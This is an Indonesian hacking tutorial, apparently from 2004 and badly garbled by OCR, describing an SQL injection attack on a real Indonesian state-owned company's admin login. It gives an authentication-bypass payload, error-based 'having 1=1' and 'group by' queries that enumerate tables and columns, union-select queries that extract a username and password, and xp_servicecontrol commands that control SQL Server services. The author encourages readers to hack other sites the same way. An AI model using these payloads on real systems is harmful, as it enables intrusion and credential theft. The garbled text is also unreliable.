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Sebdumnya penulis mohon meef  karena kesbukannya , Artikd lanjutan  mengenai
hacking baru bisa dikirimkan bulan Ontober 2004 , pada atikd ini , penulis mash
mambahas Hacking menngunekan teknik SQL Injection yang tentunya lanjutan dari
atikd ssbdumnya , hd ini dikarenakan banyaknya perminteen mddui emal untuk
membahasnya lebih ddam.

Ddam penygian atikd ini , penulis menggunekan contoh nyala penergpan hacking
menggunakan teknik SQL Injection dari sdah sau gStus di Indonesa yang tentunya
damat Stustersebut penulis samarkan.

Pada Tanggd 19 September 2004 , penulis mencoba mencari Stus yang mash rentan
terhadap bug SQL Injection dan beruntung mandapatkannya yatu perusshean BUMN
dengan dama  dtus www.damastuscoidadminloginesp , lag lag  Stus ini
bermasdah ddam hd ops login masuk ke web admin , pertama , penulis mencoba masuk

menggunakan teknik yang biasa digunakan yatu memasukan * or =" pada textbox user
id passwordnya dan berhadl masuk sebega admin , tentunya kita belum puas cuman bisa
mesuk sga dan meubah rubah informes pada tampilan Stus tersebut |, kita ingin Iebih
ddam lagi yaitu table dan field gpayang ada distus tersebut , mari kitamula

Penulis mencoba mengetahui table dan fidd gpa yang digunakan sebega database untuk
meayimpan data user dan password , penulis memanpaatkan pesan kesdahan yang terjadi
stdah mengetik perinteh ' having 1=1— pada user id dan password terserah dan
muncul error sebagal berikut :

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
T_USER.NOMOR'isinvalidin the select list because

itisnot contained in an aggregate function and



thereisno GROUPBY clause.
/admin/login.asp, line 7

Kduarlah namafidd pertama kita !!!
Catat namatabd : T_USER
Caat namafied : NOMOR

Dai informas didas kita sudah mendgpakan nama tablenya yatu T_USER dan fidd
petananya NOMOR , sdanjutnya mencari fidd kedua dan seterusniya  dengan
mengetikan perintah ' group by T_ USERNOMOR having 1=1— dan kduar error
sebagai berikut

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
T_USER.USERNAME'isinvalidinthe select list because
itisnot contained in either an aggregate

function or the GROUPBY clause.

/admin/login.asp, line 7

Artinyaitulah namatabd dan fidd keduakita
Caa : T_USERUSERNAME

Kemudian kitacari fidd ketiga:
"group by T_USER.NOMOR,T_USER.USERNAME having 1=1--

dan keluar pesan error:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
T_USER.PASSWORD'isinvalidinthe select list because
itisnot contained in either an aggregate

function or the GROUPBY clause.

/admin/login.asp, line 7

Caat fidd ketiga: T_USER.PASSWORD.



Dan lakukan mencari informes fidld didd yang ada sampa fidd yang terakhir , penulis
mendapatkan fidd fidd seperti dibawah ini

- T_USER.NOMOR
- T_USERUSERNAME
T_USER.PASSWORD
T USERSTATUS
T_USERAUTHORITY

SHgutnya penulis mencari usamame dan passvord yang ssh untuk masuk  tanpa
menggunakan perintah QL , perintahnya sebaga berikut

" union sdlect min(USERNAME),1,1,1,1 from T_USER where USERNAME >'a —
atinya kita memilih minimum nama user yang lebih bessr dari 'd dan mencoba meng-
konvert-nya ke tipe integer , Arti angka 1 sebanyak 4 kdi itu addah bahwa kita hanya
memilih  kolom USERNAME, dan mengabakan 4 kolom yang lan. dan kduar pesan

eror :
Microsoft OLE DB Provider for ODBC Drivers (0x80040EQ7)
[Microsoft][ODBC SQL Server Driver][SQL Server] Syntax
error converting the varchar value 'kristian' to
acolumn of datatypeint.
/admin/login.asp, line 7

liht :
varchar vaue krigian'
kridian' itu addah nama usx di record yang terakhir dimasukkan, aau id kolom
username di record yang terakhir dimasukkan, Sdanjutnyakitainject :
" union select min(PASSWORD),1,1,1,1 from T_USER where USERNAME =
‘krigian’--
catatan : harus sebaris (tidak dipotong) dan keluar error :

Microsoft OLE DB Provider for ODBC Drivers (0x80040EQ7)
[Microsoft][ODBC SQL Server Driver][SQL Server] Syntax



error converting the nvarchar value 'passport' to a
column of datatypeint.
/admin/login.asp, line

Artinyakitaberhas| I!! Kita dgpatkan
- USERNAME = kridian
- PASSWORD = passport

SHanjutnya , kita bisa bersdancar dengan menggunekan modifiked perintah  perintah
QL slahkan para pembaca untuk mengembangkan / memodifikes sendiri sampai
pembaca bisa meng-hack suau Stus dengan hanya mengetiken peintahnya di - address
bar di browser kita dan itu sanga memungkinkan dan memainkan service pada komputer
dimana SQL Server berada.

Bandung , Oktober 2004

Samet Risnanto,ST.

NB

Service service QL Server

- Menjalankan Service . exec master..xp_servicecontrol ‘start’,’ Xxx
- Mem-Pause Service : exec master..xp_servicecontrol ‘pause’,’ Xxx

- Menghentikan Service . exec master..xp_servicecontrol ‘stop’,’ Xxx



